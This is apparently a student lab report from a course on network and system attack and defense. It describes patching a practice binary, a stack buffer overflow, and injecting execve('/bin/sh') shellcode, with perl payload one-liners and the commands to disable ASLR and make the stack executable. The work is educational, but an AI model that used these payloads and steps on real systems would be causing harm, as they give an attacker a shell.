当前位置: 首页 > news >正文

20232403 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20232403 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

本次实验围绕一个pwn20232403,通过三种不同的方式,调用getShell函数。包括直接修改可执行文件本身、利用foo函数中的缓冲区溢出漏洞和注入一段精简的Shellcode。这三种方法由浅入深,从直接修改到漏洞利用,再到代码注入,完整展现了二进制安全攻防的核心思想。

2.实验过程

(1)实践一 改变程序执行流程,直接跳转到getShell函数

下载目标文件pwn1,更名,反汇编。

objdump -d pwn20232403 | more
结果如下:
1
不难发现,其中有一行"call 8048491 ",这是关键,实际上是main函数在调用别的函数,对应的机器指令为“e8 d7 ff ff ff”,其中call操作对应e8。
现在,我们希望让main函数调用getshell,那么就需要将跳转地址改为getshell的地址补码,即“c3”。

创建副本,在副本中进入vi,并搜索e8 d7,结果如下:

2

修改d7为c3:

3

退出vi后查看副本反汇编,果然,修改后调用函数发生变化:

4

运行改后的代码:

5

实践一成功

(2)实践二 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

反汇编pwn20232403

1
2
观察到,我们想要调用的是getshell函数,而main函数调用的是foo函数,但是这个函数没有进行缓冲区检测,有缓冲区漏洞,利用这个漏洞可以尝试覆盖返回地址。
现在的首要任务是确认输入多少字符可以覆盖地址
3
可以看到,当我们输入1111111122222222333333334444444455555555这一串字符时,EIP的ASCII码对应值为5555
我们将字符5修改,输入1111111122222222333333334444444412345678
4

这里可以观察到两点

第一,EIP的ASCII码对应值为1234,说明输入的1234那里会覆盖返回地址。
第二,EIP中实际存储并非31323334,而是34333231,说明存储方式是小端序,因此我们输入getshell地址也应为小端序。

构造输入字符串

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
其中\x0a为回车
结果如下:
7
8
成功调用getshell

实践二成功

(3)实践三 注入一个自己制作的shellcode并运行这段shellcode。

首先,对pwn文件进行设置

设置堆栈可执行并关闭地址随机化

5d45221039476860b9e2a5f500ad9181
7dccc30de17d7f38ad1b35fa794e4ebf

构造payload。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

注入攻击buf,另开一终端进行gdb调试

eca5a440c516e95dfeb002ed7f3c50dc
978a6209cb1b133515d063e6bc28bf11
01020304为返回地址的位置,为ffffcf6c

根据已知重新构造payload。

perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x50\xcf\xff\xff\x00"' > input_shellcode
5abcd9b0f76721ac1e6e24b2268cb0f4
运行shellcode,成功

实践三成功

3.问题及解决方案

  • 问题1:
    ┌──(kali㉿xiangyang)-[~/Desktop]
    └─$ ./pwn20232403a
    zsh: 权限不够: ./pwn20232403a
  • 问题1解决方案:
    添加执行权限
    chmod +x pwn20232403a
    ./pwn20232403a
  • 问题2:
    ┌──(kali㉿xiangyang)-[~/Desktop]
    └─$ execstack -s pwn20232403
    Failed to read program header
  • 问题2解决方案:
  1. 设置堆栈可执行
    sudo patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 pwn1
  2. 检查堆栈权限
    readelf -l pwn1 | grep -A1 -B1 STACK
  3. 关闭地址随机化
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  4. 验证
    cat /proc/sys/kernel/randomize_va_space

4.学习感悟、思考等

通过本次实验,我对二进制程序的安全机制和攻击方法有了更深入的理解。我认识到可执行文件在不进行安全保护的情况下是十分脆弱的。作为安全学习者,我不仅需要掌握攻击技术以理解漏洞本质,更要树立安全编程意识,从源头减少漏洞的产生。

http://www.hskmm.com/?act=detail&tid=29847

相关文章:

  • 2025 年板材厂家推荐:兔宝宝以绿色创新筑根基,全链服务护健康家居需求
  • 基于SC译码算法的极化码解码实现与优化
  • idea远程连接并本地打包到远程服务器
  • 2025 年快速退火炉优质厂家最新推荐榜单:真空 / 半导体 / 晶圆 / 高温 / 桌面 / 半自动 / 全自动 / 芯片 / 硅片 / RTP 设备企业核心竞争力全面解析
  • 2025 年最新推荐!停车场系统厂商榜单重磅发布,涵盖管理 / 收费 / 无人值守 / 道闸 / 车牌识别系统优质服务商
  • 2025 年汽车托运公司推荐排行榜,靠谱的汽车托运服务哪家好?推荐这五家汽车托运公司!优质企业深度解析,助您轻松选对汽车物流服务提供商全国门到门 / 仓储 / 跨境货运服务公司推荐
  • 3C电子企业柔性制造转型:如何依据MES管理系统完成快速换线与弹性生产?
  • 2025 最新移民机构推荐排行榜:精选国内靠谱移民服务机构,助力高效规划澳洲/美国/欧洲等国移民方案
  • 2026 NOI 做题记录(六)
  • 2025 年安防系统厂商最新推荐榜:弱电 / 智能 / 周界 / 监控等全品类服务商深度测评及选择指南
  • 献丑贴:Task.Run中foreach优化
  • 2025.10.13——1橙
  • 基于高频电流探头的电磁兼容(EMI/EMC)测试与诊断技术方案
  • Spring 事务、循环依赖连环问
  • 20232327 2025-2026-1 《网络与系统攻防技术》实验一实验报告
  • 单挑市面上所有监控设备模拟器/可能是最好用的监控模拟器/支持onvif和28181协议/虚拟监控/桌面转监控/任意源转监控设备
  • 在Java 11中,如何处理被弃用的类或接口?
  • chmod只修改文件或者只修改目录权限
  • 每周资讯 | 腾讯《三角洲行动》周年庆登双榜TOP1;腾讯首款生活模拟游戏《粒粒的小人国》曝光 - 教程
  • .NET 自动依赖注入神器
  • VLA技术论文阅读 - 详解
  • 深入解析:246-基于Django的美食菜谱数据分析推荐系统
  • PhotoShop网页版在线为图片加文字,制作个性海报教程
  • 简单高效的SQL注入测试方法:Break Repair技巧详解
  • display ip interface brief 概念及题目 - 指南
  • VMware ESXi 9.0.1.0 macOS Unlocker OEM BIOS 2.7 HPE 慧与 定制版
  • VMware ESXi 9.0.1.0 macOS Unlocker OEM BIOS 2.7 Lenovo 联想 定制版
  • 当AI开始“通感”:诗词创作中的灵性涌现
  • VMware ESXi 9.0.1.0 macOS Unlocker OEM BIOS 2.7 Dell 戴尔 定制版
  • 【GitHub每日速递 251013】SurfSense:可定制AI研究神器,连接多源知识,功能超丰富!